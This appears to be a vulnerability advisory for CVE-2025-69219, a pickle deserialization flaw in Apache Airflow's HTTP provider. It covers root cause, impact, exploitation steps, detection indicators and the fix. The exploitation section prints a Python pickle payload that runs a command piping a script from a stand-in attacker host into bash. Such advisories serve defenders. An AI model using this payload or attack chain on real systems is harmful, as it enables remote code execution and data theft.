CVE-2025-69219: 
Python vulnerability analysis and mitigation

CVE-2025-69219 is an unsafe pickle deserialization vulnerability in Apache Airflow Providers HTTP (apache-airflow-providers-http) that can lead to remote code execution (RCE) via the HttpOperator. It affects versions 5.1.0 through 5.x (before 6.0.0). The vulnerability was disclosed on March 8–9, 2026, via the oss-security mailing list and NVD. It carries a CVSS v3.1 base score of 8.8 (High) (Feedly, Openwall OSS-Sec).

The root cause is improper control of dynamically-managed code resources (CWE-913) stemming from the use of Python's pickle module to serialize and deserialize HTTP trigger responses stored in Airflow's metadata database. When a deferred HTTP task is triggered, the Triggerer component deserializes the stored response using pickle.loads(), which executes arbitrary Python code embedded in a crafted pickle payload. An attacker with write access to the Airflow metadata database can insert a malicious serialized object that, upon deserialization by the Triggerer, executes arbitrary code with DAG Author-level permissions. The fix, merged in PR #61662, replaces pickle serialization with a custom JSON-based HttpResponseSerializer to safely handle HTTP response data across both Airflow 2.x and 3.x (GitHub PR, Openwall OSS-Sec).

Successful exploitation allows an attacker with database write access to execute arbitrary code on the Airflow Triggerer component, effectively gaining DAG Author-level permissions. This can result in full confidentiality, integrity, and availability compromise of the Airflow environment — including unauthorized access to DAG definitions, pipeline data, credentials stored in connections, and the ability to manipulate or disrupt scheduled workflows. Lateral movement within the data pipeline infrastructure is possible if the Triggerer process has access to downstream systems or secrets (Feedly, Openwall OSS-Sec).

A proof-of-concept (PoC) repository has been published at https://github.com/ahmetartuc/poc-cve-2025-69219, and a second PoC is available at https://github.com/sak110/CVE-2025-69219. The vulnerability is also tracked on Sploitus. There is no confirmed evidence of active in-the-wild exploitation at this time. The EPSS score is approximately 0.014% (very low), reflecting the high barrier of requiring direct database access. The vulnerability is not listed in the CISA KEV catalog. The Apache Security Team rates the severity as Low due to the non-standard nature of direct DB access in typical Airflow deployments (Feedly, Openwall OSS-Sec).

1. Reconnaissance: Identify an Apache Airflow deployment running apache-airflow-providers-http versions 5.1.0–5.x. Confirm database type (typically PostgreSQL or MySQL) and obtain credentials through misconfiguration, credential theft, or insider access.
2. Gain database access: Connect to the Airflow metadata database using obtained credentials (e.g., via psql or mysql client).
3. Craft malicious pickle payload: Generate a Python pickle payload that executes arbitrary code upon deserialization. Example:

import pickle, os
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))
payload = pickle.dumps(Exploit())

4. Insert payload into database: Write the crafted pickle bytes into the appropriate column of the Airflow trigger/job table that stores serialized HTTP response data for deferred tasks.
5. Trigger deserialization: Wait for or trigger an HTTP deferred task that causes the Triggerer component to read and deserialize the malicious database entry using pickle.loads().
6. Achieve code execution: The Triggerer process executes the embedded payload with DAG Author-level permissions, enabling reverse shell, data exfiltration, or further lateral movement (GitHub PR, Openwall OSS-Sec).

• Database: Unexpected or malformed binary entries in Airflow metadata database tables related to trigger/job state (e.g., trigger table); entries containing pickle magic bytes (\x80\x04 or \x80\x05) in columns expected to hold JSON or plain text.
• Logs: Airflow Triggerer logs showing unexpected exceptions during deserialization, or unusual process spawning from the Triggerer service; log warnings about backward-compatible pickle deserialization (introduced in the patched version as a migration warning).
• Process: Unexpected child processes spawned by the Airflow Triggerer process (e.g., bash, curl, wget, python) not associated with normal DAG execution.
• Network: Outbound connections from the Triggerer host to unknown external IPs or domains, particularly shortly after a deferred HTTP task is processed.
• File System: New or modified files in the Airflow installation directory or /tmp created by the Triggerer process user account.

The primary remediation is to upgrade apache-airflow-providers-http to version 6.0.0 or later, which replaces pickle serialization with a safe JSON-based HttpResponseSerializer. As a workaround, restrict direct database access to the Airflow metadata database to only authorized administrative personnel, implement strong database authentication, and apply the principle of least privilege to all database accounts. Monitor database activity for suspicious or unexpected binary entries in trigger-related tables (GitHub PR, Openwall OSS-Sec).

The vulnerability was credited to three independent finders: skypher, Shauryae1337 (GitHub), and Ahmet Artuç, who also published a PoC. The Apache Security Team (Jarek Potiuk) disclosed the issue via the oss-security mailing list and rated it as Low severity, emphasizing that direct database access is not a standard or recommended Airflow configuration. The Hacker Wire and Infinit Security published technical write-ups shortly after disclosure. The CVE appeared in a Reddit CVEWatch trending list for the week of March 14, 2026, indicating moderate community interest (Openwall OSS-Sec, The Hacker Wire).